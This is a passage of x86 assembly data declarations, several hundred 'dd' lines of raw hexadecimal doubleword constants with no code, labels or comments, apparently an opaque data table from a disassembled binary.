dd 241E1F96h, 9F83E7CBh, 0B3DF4E2Dh, 0D5CA10D5h, 3FF47592h
dd 832515DAh, 90BD6582h, 0CF5864CCh, 0CF42B0DCh, 9F8BAC0h
dd 629993Ah, 2CFCDFE2h, 56199D32h, 36EB317Fh, 371AA0C9h
dd 55983D6Fh, 140DB3FDh, 0C64E8815h, 8D4CE501h, 72B3860Eh
dd 0E4FB0A64h, 5B60C12Ah, 0A14D7A3Fh, 389F637Ch, 0FADC5F74h
dd 3C0A5CECh, 69B744ACh, 0BCF63426h, 9527E3F3h, 21DDBD9Dh
dd 0FC6C630Fh, 1D9D9309h, 7AD52760h, 1A0B2B8Ah, 0ED0DDEADh
dd 9E7D7250h, 0EB51CA72h, 0F01340A4h, 59E003Ch, 0D6229DDCh
dd 55A37D2Ah, 1EF0118Ch, 0FC300141h, 950ABC1Bh, 487E6EDAh
dd 84F622F2h, 65F90E29h, 0A825408Dh, 0D2912DDh, 0D0CA796Dh
dd 2269DAF6h, 0CE0A729Ah, 0C84190AAh, 0A58CA1F3h, 0FED94AFDh
dd 0F0E66032h, 0B105907Dh, 1E303C79h, 0FD66DE82h, 39EEA6DAh
dd 606106FDh, 2CCFCBF2h, 9AB9A760h, 0BCF45939h, 7758A3D9h
dd 87106693h, 9357A19Dh, 99EE6A96h, 5C671920h, 911F8C9Dh
dd 0E372508Dh, 3AA4D375h, 0E1834A4Dh, 0AD427F60h, 70DF25EFh
dd 0DEB756C7h, 0BEEFBBA6h, 833ED49Fh, 78DE7EA1h, 0DF45C9F7h
dd 0BB21EBE5h, 290F19B2h, 0BC6D256Eh, 3DD61D3Ah, 0AF15C89Ah
dd 1A03001Ah, 67848A3Ah, 48491C9Bh, 60D4D4Ah, 0F8BB97E7h
dd 3E320B32h, 1C0AD7B0h, 747EDF3Eh, 0D3C301E8h, 0C8B0A0C5h
dd 9658F61Dh, 0B4B5DA8Fh, 0FA9433A6h, 0D5A142EDh, 96F77438h
dd 5CA57BA8h, 0C130CA70h, 5D1895BAh, 0D0834400h, 0F57072FFh
dd 21FC40AFh, 0F1744CC4h, 0EDBE9265h, 32701FDFh, 1B1F0750h
dd 0C9285335h, 9DE8E732h, 0DD109939h, 0DEB9EA3Fh, 0C911281Ch
dd 9BEF3C58h, 918E1730h, 0A1AAE83h, 0D81C7E3Eh, 0D73867A4h
dd 3B376CFFh, 932FE8DEh, 831EFF4Dh, 0E3C00C10h, 46A20559h
dd 44B8ACB3h, 60BEBADh, 0B66363DDh, 0E202A3ADh, 622158B2h
dd 0BEA8AECh, 0A41DAC8Eh, 71627683h, 177A85Fh, 0F058360Ch
dd 181FFEE9h, 6B1A4AF6h, 0AA98E23Fh, 5A900EF8h, 0C61A5B89h
dd 1252A624h, 5C56EB5Dh, 0B5D74692h, 6CF2E9AEh, 0C896CF8Eh
dd 1733D02Eh, 0F191700Fh, 376A24CFh, 0D4EA6369h, 358866C3h
dd 0CDA814DCh, 421CC7D9h, 812555A0h, 9D3530F2h, 126ED3C5h
dd 171D28B3h, 9F27282Eh, 3A4EDA0h, 252BA98h, 5AA46F9Fh
dd 95073F37h, 28A293AFh, 0A3CE831Bh, 0D7DF0ED7h, 4C464176h
dd 0A8294063h, 0D31F7C1Dh, 69DB92C0h, 0FB45217Bh, 0F9F31035h
dd 63FC74Ch, 0D155AB7Fh, 1D719A74h, 0C27F6396h, 0D9DB5824h
dd 0BFB7DA78h, 0EB4D5E99h, 0C57EA5CBh, 90613CB5h, 0C3ADE5FEh
dd 6DBE4973h, 62D447BEh, 5E61FDA0h, 65911E07h, 0B65D3E5Ah
dd 37E62ACh, 7E8181CEh, 0D02F08DCh, 109E6B2h, 0F6DB2A1Ah
dd 17A5EA9Ch, 6D21CF30h, 362C0DBBh, 88F103D5h, 6BD2ED9Ah
dd 7837C75Eh, 0CA8BA26Bh, 0D11317BDh, 0FCA504EBh, 44A7B0B5h
dd 3180A708h, 0FFF289BBh, 0E74212A0h, 14DE9245h, 4F54B683h
dd 93F81F04h, 456EBCADh, 90E3098Ah, 84E8ED2h, 5B945026h
dd 16D2AF1Fh, 0C5DDE532h, 9E4CB47Ah, 0DA4977FCh, 5512F149h
dd 19AE4E82h, 0E2F91BC6h, 3124305Fh, 0E24E6329h, 8C7F41C0h
dd 68C98220h, 8061A332h, 5487A196h, 9BC439E9h, 91D40714h
dd 67765DD1h, 139B9320h, 0CE4AD67h, 701626F7h, 0A7BA5B50h
dd 8CA6BBD8h, 17CFF58Bh, 544FE612h, 55D75A48h, 9806258h
dd 0EC660892h, 0ACBF86A1h, 0E9FF3BCh, 3AA16B77h, 299C16C8h
dd 3799304Bh, 99509AE9h
dd 631E162h, 1FB51E80h, 31AB7D97h, 0FD5FC786h, 90E5DB3Fh
dd 42B98FBCh, 1A4B021Eh, 0E6F294AAh, 25294B2Bh, 6DF41685h
dd 0F2B289D6h, 449A51AEh, 7B3740ACh, 53D13151h, 1F878A5Bh
dd 5FD3F0FCh, 0C3FF367Ah, 4089796Fh, 1456E99Ch, 0E5D8FE06h
dd 78F458E9h, 0B3D626B2h, 0A403DB51h, 21AF0ADAh, 6E023393h
dd 12A1EFF8h, 7E4EA003h, 0E681D424h, 21A6FF6Ah, 80DF5317h
dd 0CABF05A2h, 8E7E067Bh, 2AA8F16Dh, 0F55BE3EFh, 0A299A6D2h
dd 3C477588h, 0DE20920h, 9F324F6Fh, 811385C8h, 0F75B6EACh
dd 20394F66h, 0F880217Ah, 0F1976749h, 1724891Fh, 86D02628h
dd 4C073E95h, 4745E07Fh, 885C1B23h, 510B49AEh, 982216F5h
dd 2CC8E225h, 6E5D8948h, 0DBB6C148h, 0D97668D9h, 0CC24FBCCh
dd 230B4769h, 0B5300321h, 0E3FB4AB2h, 0A08CA65Fh, 0AAA7969Fh
dd 0FD8BAF90h, 3076A829h, 12B605CCh, 64CB0FE9h, 4D8FE30Bh
dd 6D45A788h, 0CFCEC876h, 833BC8E4h, 0FBC4A3ADh, 291A6AB3h
dd 5AA18B60h, 158BDE59h, 956650D9h, 39B1F14Fh, 0E0D5275Dh
dd 39BE4F91h, 0E45F7BF9h, 3411A067h, 0BFB50AF6h, 9B72FB9Ah
dd 53462653h, 594A89C4h, 5320940Fh, 84795981h, 0C1695D3Fh
dd 0EAED0CB7h, 0FCFEDD25h, 0AB52DC5Fh, 9D713001h, 4843AB0Ah
dd 21F26BFFh, 0D157337Ch, 3A22D2AAh, 0A4D3C31Fh, 35EA18BBh
dd 0E23639DFh, 46CDA9E5h, 5A6DB005h, 882940C0h, 1FDCC657h
dd 5978B315h, 0E5C91C6Eh, 0AAFAF9EEh, 1490184Ah, 0B660AE65h
dd 3868D9Dh, 3BD54543h, 369410C9h, 9F5F015Fh, 9C7AAF01h
dd 27E96FAh, 6F6C1CD8h, 6FB1D390h, 0CB7609ACh, 0F3C4EE82h
dd 691CF6FFh, 469C5D7Ah, 17D809FDh, 0B3245620h, 0D81A7CBDh
dd 8DF362E5h, 0F02FC16Fh, 0C76E282h, 0AD4884EEh, 424ED1BFh
dd 374FE420h, 0AFBF0923h, 98739559h, 8A14108Fh, 0EBE5454Ah
dd 0B868A2D5h, 0EA490428h, 0EEF1642Fh, 10733181h, 9790C0FDh
dd 0A207C6D3h, 0C6B612B4h, 76C70587h, 3DCA88A3h, 824AE592h
dd 0FDC99157h, 0C4A1EEA4h, 580D1661h, 8EE8F316h, 4B34ED47h
dd 7F6E6A48h, 33FCD043h, 133A0330h, 1AFC7EDCh, 0B454D047h
dd 0A5F2704Eh, 0CD06F74Ch, 0AD6152F4h, 0A802CCF2h, 0ADD96CF7h
dd 0E61E6BACh, 29DA932Eh, 0A28F0874h, 0C598541Ah, 0F0F9FC20h
dd 5E2B7224h, 6F668370h, 0F29F5FD1h, 79E674B2h, 440101DCh
dd 87C4B033h, 0DBF5AC17h, 4B29109Eh, 0D7E6BF07h, 58D3062Bh
dd 0C9C3C89Fh, 0FAA946F1h, 463A915Ah, 4673256Bh, 0EF4AAEFCh
dd 0F77C75F4h, 0C220F8A3h, 0BE902D45h, 0F984B802h, 9EC98B67h
dd 0CD83BDC5h, 67E4502Ah, 3ADCF030h, 0CECC201Ah, 6F3B2DE0h
dd 9789B10Eh, 4FC35BEEh, 0A48EE540h, 0F974D404h, 0DE819CB7h
dd 338E8B81h, 44121281h, 9326C091h, 3FBED08Ch, 0BFEBB6C0h
dd 7BF07DDCh, 24228D0h, 0F8D8543h, 0D57312B1h, 477BFC32h
dd 2F2B8626h, 91C51F05h, 0BE1BD39Dh, 0A689CB10h, 20BF86B7h
dd 44DB6254h, 252B1672h, 291C216Bh, 62E9111Dh, 15C6E131h
dd 0FE9EB607h, 0DECB9B68h, 6D96E3F9h, 6C9C3E82h, 0CF284EC9h
dd 5254723Eh, 0B4B34D1Eh, 9FAC9655h, 0D516E5A7h, 0E3DC98B3h
dd 2E3EFF41h, 939441A8h, 57962471h, 0FA07EEBCh, 9BB8B176h
dd 0E069A112h, 6390EE2h, 0EBACF7B6h, 0F10C39h, 8C4FE950h
dd 532BBCA2h, 43285461h, 0CA57AC42h, 0BFE348D3h, 0E9979A71h
dd 5F6B5CCCh, 0D2EF5503h, 447EE206h, 0AB2F5BE1h, 3B5E9165h
dd 4FC985D3h, 0E498E6A6h, 9E51CC3Ah, 0B6C5585Bh, 7E0C28A8h
dd 5C1EE75Ah, 86FD7779h, 43E89475h, 0FAE9C060h, 0CE11F601h
dd 0B48E82A1h, 0BAC6432Ch, 66EDD6Dh, 0BFC435B4h, 0C2C7E4ACh
dd 124474FDh, 0F03029EBh, 9FEB38B2h, 978ABEAAh, 0AC2A30B7h
dd 0E4BEA7EBh, 7D0B45BBh, 0DA92B5E8h, 395A23FAh, 9E3BC8A4h
dd 9BB590D0h, 0E5A381BBh, 0AB9EB8B3h, 0E96302Ah, 402D79DDh
dd 421FBD87h, 0EE97E1FFh, 7EFCCAF0h, 0BFB91D2Fh, 0B2CF70C2h
dd 0BA145B53h, 0E8A6A143h, 0BC898B09h, 4254FF4Bh, 0D779D684h
dd 3ECEEDBCh, 0AF2ED008h, 230BBF36h, 634E3707h, 56F73A0Eh
dd 4DBF036Ch, 13618EB2h, 0FE10ACBAh, 426C0D40h, 9CD97A5h
dd 0F3E18433h, 0C10632EBh, 80A9F5A2h, 0DDAA6A40h, 1C5BD8F5h
dd 0C43131D8h, 5DC9CF47h, 2A6F4B79h, 14834FE3h, 16A9B26Ch
dd 6A10870Eh, 12707C65h, 52796968h, 569D9562h, 2AF489A3h
dd 1B5CDDCDh, 0C879D803h, 3104861Bh, 0FB66E0CEh, 34407656h
dd 453470EAh, 7FD6672Ch, 0C0AB76DFh, 764DA6E5h, 0C5623780h
dd 9F5DF05Dh, 4ED7736Bh, 2163B29Dh, 0F1E57845h, 0C153F24Ch
dd 0CFA8F77Bh, 0FC3A1945h, 0E8B9DD13h, 8A636055h, 3792D8BCh
dd 85F1CA33h, 0D0A023E3h, 6335CE94h, 0E9CD60Bh, 9F321E66h
dd 0FA6FEA38h, 0FD0068EBh, 2BE7EB7Ah, 0A3FFF2Eh, 4422F8Ch
dd 0CFBCB35Dh, 2862AC3Bh, 79FAAD33h, 0FE711B1Bh, 0DC709C72h
dd 7C87FE68h, 14E823A5h, 5A107892h, 527D38F2h, 0A6D74FBBh
dd 0C4340684h, 0DB2B42B2h, 0D2395F58h, 0A1F545EDh, 0D4DFD4E6h
dd 0E291378h, 708656E4h, 0DA040A90h, 5318EC6Ah, 671123C6h
dd 4433E524h, 0D039E67Eh, 8098E6FBh, 0CB9759E5h, 28DE3C39h
dd 0E28D5D09h, 0EE53A09Ah, 3734F1ECh, 6799EDE8h, 276945C6h
dd 1F3E7E4Eh, 0F7A54E5Ch, 0F098DC24h, 0F578D263h, 34A24801h
dd 502CB7A5h, 543220BCh, 4B0E877Fh, 0F4724E03h, 0F7FC8092h
dd 0B3B9251Bh, 0FE4CF149h, 0F8066554h, 5C1B66B3h, 0FF44B1F7h
dd 81F16921h, 0DFE7421h, 1E74BF73h, 823EE681h, 7DA1D79Eh
dd 70D9D467h, 3C35D789h, 0E4A66D8Eh, 0B8D9E9B5h, 0CDFC2B7Bh
dd 4371437Ch, 0CBDEBFEBh, 69D867D8h, 5E4A5032h, 28ADEFEAh
dd 5ED5A1A9h, 256167BBh, 5101C451h, 0B7A5F5C0h, 5BDD8BBBh
dd 0B3519902h, 0C84149A8h, 0CB512CE4h, 98CAEB19h, 3AC119EFh
dd 0AACFB930h, 402F585Fh, 0EBABE65Bh, 0EBB33690h, 0E2FDE6CFh
dd 0F6DDB2E2h, 8BB392DFh, 0DBE82B81h, 5927C303h, 28AA2CBDh
dd 0AD266FE5h, 0D753727Ah, 0F569436Ah, 8EEF4A8Ch, 0E575CB3Fh
dd 0DA9A391Ch, 7D7BE120h, 0AD2844A2h, 0E0764C83h, 844ABF1Dh
dd 563045Ch, 9A832292h, 12137DD9h, 0D70765CAh, 95638FAFh
dd 724479Dh, 0F184A967h, 0C2CEA31Dh, 8473AE4h, 6F15238Ch
dd 507C1754h, 213E6196h, 850F6281h, 9687B7FBh, 0A41B02DCh
dd 0E73A00F7h, 23D58658h, 4528DDD7h, 0A4CAA9D4h, 0C87178A7h
dd 7B31F0A6h, 58A4A01Ch, 636301EBh, 44E7CE90h, 5C2B23B5h
dd 6DE96D32h, 613A77E0h, 53C416FCh, 0C859F0A4h, 4A1629E2h
dd 69171C33h, 7A54166Ch, 0CD321EEAh, 53A9193Bh, 68838BBAh
dd 0E5C25288h, 33F7DCE0h, 5B7B4742h, 0A099D89h, 0AD8754ABh
dd 3D327B17h, 0F2524B51h, 9B93401Eh, 824E962Fh, 0A6601CD3h
dd 0A7E0AB60h, 7F141C0Eh, 0EF9E43A3h, 67A5692Ch, 4D9AEBFCh
dd 9CC440CBh, 4F77C29Dh, 0BE1135FCh, 0D8D9F42Fh, 451B109Dh
dd 0E7B6AF6Bh, 48483705h, 9B573014h, 0D13CDBBCh, 7E8AF886h
dd 633F61D8h, 0F4112220h, 634A658h, 7983BEE3h, 0BF95D139h
dd 7EB2340Fh, 3242798Bh, 7D78B53Eh, 57400277h, 3A67785Eh
dd 6BC5E12Ah, 0C3BC91FFh, 71B4860Eh, 2BD7D860h, 8425C3AEh
dd 4EDC57EBh, 5EF36177h, 0F70D6E48h, 0F7D61D0Bh, 0E8EA4B08h
dd 0E45666Fh, 6C547194h, 0E3D1DD6h, 3AB2127Fh, 94C0F0EBh
dd 0EA5582D7h, 0A46A3762h
dd 2EAF2459h, 534D1227h, 2F03E633h, 2B9EAD29h, 4D49B405h
dd 0DA034B89h, 0E4B52FC8h, 5B849B74h, 3548EF43h, 697C56D7h
dd 34902D4Bh, 34097F42h, 40DD5B9h, 83A38F5h, 425EB381h
dd 0A5E9D708h, 0F1524F78h, 0FF6548C8h, 3D8B6E18h, 1A7CA23Ch
dd 0D26558F9h, 1843506Ah, 0C424BA51h, 4A573B54h, 6D286C6Eh
dd 0D3C62485h, 0C24E663Fh, 38E2018Dh, 8C9F8BA2h, 7153817h
dd 8946CD4Eh, 1D50E4CDh, 33F8E519h, 0C2BF6E6Dh, 5185629Fh
dd 0D1A9F0Eh, 47AFD8F4h, 6913670Dh, 150EA3EBh, 31F4C5D6h
dd 0C80A18F4h, 5EC0529h, 425F4802h, 0A03F60C5h, 0B3C8CA84h
dd 62DE88D3h, 5A63D4D1h, 0D22D68C8h, 95FDE11Dh, 4D96CD8Ah
dd 8EDD3C58h, 0F3DF9EF2h, 3FB1F467h, 80CEAFBDh, 0A4A68B49h
dd 63345B3Ch, 0AB00A9D2h, 576F60BEh, 740C886Dh, 0BFA1361Ah
dd 0D020AD4Ch, 0AD8CB573h, 9AF07A04h, 3B48B360h, 554EE2F5h
dd 94F2AFE1h, 0BB1F667h, 0A5FDCF46h, 12958B97h, 88F85CB9h
dd 8FEAE000h, 0EBECFB7Ah, 0D8070E09h, 720C23CBh, 7B055432h
dd 2337A4BCh, 291CB05Ch, 44D163FAh, 7682BFA4h, 0EA6A644Dh
dd 60C7A31Bh, 6C7B970Bh, 6174662Bh, 5A0BCC85h, 0C77EFA21h
dd 69C9CE34h, 20E45329h, 2F795F06h, 216B6D83h, 0B605D173h
dd 9A60D7A2h, 8EB2746Ch, 378F64FCh, 99642DC4h, 0C4EC5FE8h
dd 614C3D7Dh, 0D3235003h, 0DC7CC68Bh, 0AF44E138h, 0E59455C5h
dd 0D946CC26h, 855ABCE2h, 0E2449AAh, 0E59440C9h, 0FCB9E832h
dd 7B176C7Dh, 4E19321Eh, 89390355h, 1AB7A086h, 2974BE48h
dd 86403D71h, 2A7A5E2Fh, 2A2F34D1h, 998C086Ah, 4BD0E47Eh
dd 0DA54B6D5h, 47E7FACh, 6D674F63h, 0AA815CA9h, 544FEA05h
dd 0A893654Fh, 0B5F7F07Dh, 82A7C1B6h, 0C85D8A68h, 2D8B6B9Bh
dd 0C122DDCEh, 4BB2BB13h, 89EA10C7h, 0A46CF159h, 38625DA0h
dd 649DCF56h, 0B23C9C43h, 0AF9E6E01h, 0B7E3574Dh, 41F507E6h
dd 0B82BC65Fh, 121DFFB4h, 4BC62E0h, 9F49AAECh, 54684C90h
dd 0BEF6CCC9h, 283DF75Ch, 5DBF7CD6h, 4CD90102h, 0A5AD78B4h
dd 99BFDC42h, 8336C504h, 0CE9963A8h, 0A47B928Ch, 0D75F4D65h
dd 0F36A8DE1h, 9EAD15D8h, 0FA24271Dh, 127DF3BCh, 0C56BB3A2h
dd 1DD7D516h, 64464908h, 0CB3B89C9h, 0BB031846h, 1DA70280h
dd 4298E901h, 728848ABh, 0E5F16B03h, 0F642AB97h, 0CDC63CB3h
dd 0E4CE79A9h, 0A13910D8h, 68D4DB6h, 0D689A4D3h, 0E6230F26h
dd 88B933F8h, 7DA0315Ah, 78312099h, 0C3EB4C23h, 41DA25D9h
dd 0BC5DB0ECh, 0FFD4346Ah, 9D2DBF36h, 15569030h, 90532B64h
dd 6A3285D4h, 8EFBDA75h, 0B79E5F87h, 0BF40D37Fh, 0E116893Fh
dd 736CB578h, 8E95B510h, 87A88E44h, 50076F5Eh, 189924F8h
dd 80895BF3h, 0A0AA5927h, 125BD4A8h, 12C435EAh, 8BB684D0h
dd 0C5E30DE7h, 0A61458E8h, 7563B611h, 7EF634D8h, 27A8F191h
dd 624FDD51h, 0EDC4E75Dh, 6A566D3Dh, 2E6CEFC3h, 0C70DFCD1h
dd 0F4305503h, 0BE41BE89h, 0E2B5E96Bh, 0F141622Ah, 5DE30553h
dd 0A35EEBB1h, 0BE40EB9Bh, 43D6C751h, 8D61BD3Ah, 0DD12C3C3h
dd 16F5B183h, 0E9FB54DAh, 9AAEA8E1h, 0D3D0AE6Ah, 0E20A9D8Dh
dd 2464DF7Ch, 48BECA8Bh, 0CB3839EEh, 50A42F6Eh, 0EB8936A3h
dd 0AB7AF793h, 0A370027Eh, 0C1AA529Dh, 0CBA9A381h, 0BB7EB29Fh
dd 0C5B82396h, 406CE7C1h, 0C0A744B9h, 65A3F396h, 2C3B443Ah
dd 9ECEE03Dh, 7B7BEA0Fh, 0DBF3Bh, 96512FFEh, 0B44870A3h
dd 7A64AD03h, 0C408226Ah, 0ABC5A897h, 0BA64CB7Eh, 42D943E0h
dd 0C19BDA2h, 96E7C8BCh, 0F2AD44Eh, 29BAC2C1h, 24488422h
dd 0A0C939F7h, 186AFE8Ah, 0BF945ED5h, 745A68B1h, 21D04AA0h
dd 0EC95DF56h, 3D76C6BDh, 8923C5DBh, 0FB0DA56Bh, 440D142Ah
dd 152AD149h, 0CAF1DB20h, 0DE457E0Eh, 0EB73CB37h, 0C90E25DAh
dd 8186AA15h, 0A8500517h, 130A9F81h, 8A59298Ah, 56160773h
dd 0B069AE3h, 4EE0222Eh, 0D0C167F4h, 3ED4755h, 80982A6Fh
dd 0ECA5E00Ah, 3165F580h, 0DC610FAEh, 85E3C219h, 84EFE6E0h
dd 48656340h, 98140E58h, 94A35FFAh, 1D0A4B0Eh, 4BDBC877h
dd 1418B02Ch, 6398B3ADh, 9B77F531h, 89446D6Ah, 868980F9h
dd 0F9041CC1h, 7D3F12AFh, 0FA57D944h, 62B94F0Ch, 0DAC5ADDDh
dd 0ECC1BD8Ah, 409F1A38h, 394C10F5h, 27A8EF94h, 63AF7DE9h
dd 511B3E2Ch, 241EB3F0h, 705370B5h, 0C595208h, 0B990CBAh
dd 4941310h, 0EDF6FEE9h, 91C1599h, 75EDC67h, 621817DDh
dd 90D7395Eh, 5DFFBE8Ah, 0C2FF338Ch, 0BEBA1963h, 0ABACBAAEh
dd 0A1B1E0DEh, 0BB610246h, 212CC2E5h, 0A055DB70h, 49EBC46h
dd 7776798Fh, 0E5D4B629h, 76816C35h, 71607B22h, 8F126C2h
dd 1D7BECE4h, 4FB39374h, 0DC839C3Fh, 0F323776h, 0C36C0B75h
dd 40C0D09Ah, 5A0932B3h, 0E957AD5Dh, 0BA747BCAh, 46D7178Eh
dd 0E416FFE4h, 0FB29BE02h, 14C8EAFAh, 0E6F0C35Eh, 0B3CC62F3h
dd 129197A8h, 1F3280h, 854D0F96h, 7F0C656Ch, 94DEFE61h
dd 5EF9DEFFh, 98F19B82h, 0A6098EB7h, 0E26A5F8Fh, 25F46EF6h
dd 0EBE09355h, 15654B87h, 214EC601h, 8DB269CDh, 71B4CBD7h
dd 0C52A90C6h, 2597977Ah, 0AC33461Dh, 79CC6E20h, 5998E4D1h
dd 7DE928DBh, 205564F7h, 0C87B5DC5h, 2A18B3DDh, 0EB5F630Bh
dd 0FBADEC05h, 0E884E155h, 9CF8A4Eh, 22DE9349h, 0BC5F40F8h
dd 0D294A54Ch, 0D452AFB2h, 19B9F93Fh, 93CB950Bh, 194D58BFh
dd 943B2011h, 0A65CCFA3h, 438E56A8h, 0B0E3078Fh, 5C34D244h
dd 4367E4AFh, 7BC7D343h, 5E815E96h, 0C93993E8h, 3BCF7346h
dd 0D43735C9h, 44B61C2h, 0E29D0426h, 7D1E6179h, 3D61719Eh
dd 0FC8569EBh, 603FBE9Ch, 0EC323FABh, 0D365D2D8h, 0F4589D1Eh
dd 0D85C4F65h, 5204A092h, 11D6F826h, 0DCE69344h, 1C3E76CAh
dd 791E7BFAh, 319C0C9Ch, 6C79DDF1h, 0E29A615Fh, 0A9C05308h
dd 4A51AF3Ch, 6F1591C6h, 79B0B290h, 6C32F7BCh, 8DE7D318h
dd 6201DEA2h, 0F16F328Fh, 0A9725ED1h, 91F20FDDh, 4480FDCEh
dd 7D6ACDD0h, 0F607E3Ah, 7655A8ADh, 69EC3241h, 75A698C5h
dd 696F2D7Ch, 4CF89E9Bh, 0CC65DB77h, 3CFA8B5Fh, 738BE221h
dd 0B28DC116h, 0A8AE66FDh, 311736CDh, 0B20D212h, 0FCB00178h
dd 2BAFA0D9h, 0C383E26Dh, 1121CA7Eh, 0B150A16Fh, 1F626ED7h
dd 0F27BAA39h, 97576536h, 0A852059Fh, 9966AF34h, 6FA8CAh
dd 0E9514517h, 0DDDDA35Ch, 92C8DA4Ah, 0A7743ECFh, 0FBF861ECh
dd 936852Eh, 0B913495Fh, 96F267ABh, 0EB50CD51h, 79EE0C85h
dd 0D798C05Ch, 6FB7E202h, 24E8BF37h, 250BF523h, 1CA37FD1h
dd 43028FF2h, 69199892h, 0E2B5139Bh, 0CD0E1FF4h, 7E142FAh
dd 0FAC46974h, 0DD50CB7Ah, 0C2758F42h, 21E0E492h, 9C9F358Bh
dd 2DEC8FAAh, 422749DDh, 0A7C3003Ah, 5583D468h, 0B02313E2h
dd 21CCE0E1h, 0F0DE8924h, 7262E931h, 6BA88027h, 45247D4h
dd 369B291Fh, 7EF007EEh, 7DBC7A8Dh, 9F278846h, 0A70F818Eh
dd 78410Fh, 7554581h, 0FE7AA6D1h, 0D8C0F942h, 0D1E785B3h
dd 280CE90Ah, 1F3AA686h, 0DD618067h, 0B4CE86DEh, 7830892Bh
dd 0CD50FA63h, 7154AE46h, 2B5A895h, 0C84083BDh, 2F079A80h
dd 662DCD16h, 578C2BDh, 0EB74A183h, 4EF9EAF3h, 0DE84C771h
dd 0FBC8BD89h, 463D2D32h, 69F97980h, 4B045496h, 0EC33FA80h
dd 0F79A4BF3h, 0DCB8A478h, 0E9A25796h, 3E1C42DFh, 2CA9AA55h
dd 3E2835EFh, 4DBA37DCh
dd 14DAA3E5h, 0DB738639h, 672AE2FAh, 44B6224Fh, 1BECD0D3h
dd 0AF8EBAEFh, 72F86B1Ch, 4DF3FD73h, 0B1E7D232h, 0DDB6FCAh
dd 0F04ED56Ah, 8D072A91h, 0FF7D05F5h, 29B3CA47h, 0DAB22DAh
dd 67C35137h, 9F49B930h, 0E7388341h, 3449F14Fh, 0A642E919h
dd 0E6E6E1D5h, 4BED329Ah, 0FC10F0D9h, 11DC1524h, 0CDB18DCFh
dd 601DCDBh, 0B0991BA9h, 3F5CEF37h, 7A19E5F3h, 2512242Dh
dd 5B385A36h, 28C457E7h, 0E5DB8550h, 547FDB2Ah, 804DB59Dh
dd 3F5381C5h, 0A2E34C49h, 680D3D94h, 58F1B014h, 5FDEBD22h
dd 1E2C8A15h, 0C93530E6h, 18A42412h, 1589842Dh, 29CA3517h
dd 4D35876Fh, 3DD5B968h, 0A5B990C4h, 0B0F22B06h, 7CA8CF73h
dd 2FB3CF4Eh, 0ECBF98AAh, 0CBE0B687h, 7AA36E47h, 20D1AA97h
dd 943703CCh, 6317E265h, 0D8452D86h, 3AD7202h, 256BC53Dh
dd 0E9FFE9C8h, 4FCF75BFh, 6F175037h, 0E4BC2CACh, 787AC1A2h
dd 7B06822Eh, 324941CDh, 8BFD5735h, 14A38308h, 45AB653Ch
dd 73FB2E10h, 29ECA3D3h, 0DF8941DEh, 65599C88h, 0FD03FE33h
dd 0DE770EBCh, 74787072h, 208CD19Ah, 328EE854h, 0BCF813C6h
dd 420D0125h, 0E2FE588Eh, 0E136981Bh, 17F14378h, 0FB39748h
dd 14F4D9ADh, 0FB8E4F77h, 0A07D06FAh, 178A15E8h, 0D85D0834h
dd 65879043h, 0E03A9F50h, 0D5146AF8h, 6F603ED4h, 13A221D4h
dd 58C91B79h, 1DCE7CCEh, 266ACE4Dh, 529B6548h, 0C26353F9h
dd 0DC7A58EBh, 706A8AFFh, 4F83CD0h, 4C50E900h, 218631FCh
dd 5C02D438h, 88668469h, 9D0734DBh, 62C4557h, 325966FCh
dd 0A58498B3h, 9842D23h, 0D0104842h, 15E455B4h, 0E9FDAF6h
dd 0F6B3428Dh, 9287039Ch, 3381AA64h, 8A3BF1C6h, 0B1B0D15Ah
dd 0F36DC031h, 0CE3F22Ah, 0C68B40E5h, 0EB8A73D7h, 9D03EFADh
dd 8E94E5D6h, 64C55D80h, 3BEFF73Ch, 0DD65DEC2h, 0B07509h
dd 3818CAE4h, 143F0160h, 93F9B1C8h, 0F23B3305h, 8796AB48h
dd 0A64B75F3h, 0ED76D840h, 0EC78600Ah, 5944686h, 508E5AC6h
dd 0A3E238A3h, 2FC23EFBh, 8CD02053h, 62A47E9Ah, 0E3FBD1F6h
dd 0A55F614Ah, 7E5D7B11h, 571E263Fh, 4A73CA4Eh, 939F510h
dd 6E274C6Fh, 71BB359Dh, 6A30C99Ah, 0DF6B28BEh, 47ECE1B7h
dd 0E3D96B74h, 2A1A1B17h, 0DFC14610h, 8D89163Fh, 0D727EC17h
dd 0A1569BB4h, 4747263Bh, 517C2110h, 731BD642h, 0C466FB5Ah
dd 0A947812Ah, 0F5CF6EBDh, 40143079h, 0BC40DDA8h, 397B77B0h
dd 684E7096h, 490594E6h, 4C7FBE7Dh, 117F3404h, 7D472DB9h
dd 2418C41h, 0C21E65ECh, 0A7802DE0h, 0F9D67509h, 8BE43A9Ch
dd 4A0F542Fh, 74FBB17Ch, 0D6424E6Eh, 632F9CE3h, 16B7D022h
dd 3AF7C677h, 0EFE4F618h, 6D1C9C4Fh, 0D4ACF81Dh, 29BAB255h
dd 0E04580DFh, 413D3B63h, 0DD9E9397h, 0B6BBAE50h, 0DE828CA7h
dd 3C1DD18Bh, 537C7970h, 6887CDD2h, 6E8682h, 0FE5160C9h
dd 5D1B14D3h, 27C9B172h, 873559B5h, 0E884BA1h, 491A4B9Bh
dd 5B23C823h, 519E28C2h, 2DADF9C3h, 44254449h, 40F5DFEDh
dd 3626915Dh, 985A70ADh, 2D60D21h, 43A141C3h, 0DCB30EBBh
dd 0A20385D1h, 27CC4C1Fh, 0F385CC11h, 4CFD4E6Ch, 3CBB3EA0h
dd 5F239088h, 0EED081ABh, 0A6EF898Fh, 292333A5h, 0A9017B0Eh
dd 26A49902h, 5EC9EBEEh, 0DF72B684h, 12599C5Bh, 5DB8459Ah
dd 4B41D577h, 0CCCC765h, 4A304379h, 72743D44h, 0ED42DFE1h
dd 8DC85F15h, 0FA159EA7h, 0F88AF5F3h, 0E4DB0FD3h, 0BE304E08h
dd 11B4648Bh, 169FF7C4h, 0FF6293BFh, 1AF286E6h, 99ABB67Ah
dd 701743B5h, 0DE11194Eh, 0B6278514h, 7221BBFEh, 0EE95900Dh
dd 0CFF399Ah, 60FAD7CCh, 220724CCh, 70ED593h, 47E67F59h
dd 0D1C2A26h, 2C14FBECh, 0E3890753h, 0C1AE2BCAh, 858EE4B5h
dd 0DBC4EF04h, 0F49FCABh, 6C8B894h, 91611590h, 0B78AC844h
dd 9EDC4E8h, 64A5F9B5h, 0FB191947h, 7FEF1488h, 0F6C1C3B8h
dd 0CEAC8771h, 0B57C3842h, 891D53EBh, 0A7C69484h, 901CA502h
dd 0B41C67A7h, 0CD5530D5h, 39535928h, 674D85E8h, 6A98DC75h
dd 0EE449505h, 8423D668h, 3209C861h, 19E6B0C2h, 5EDE591Eh
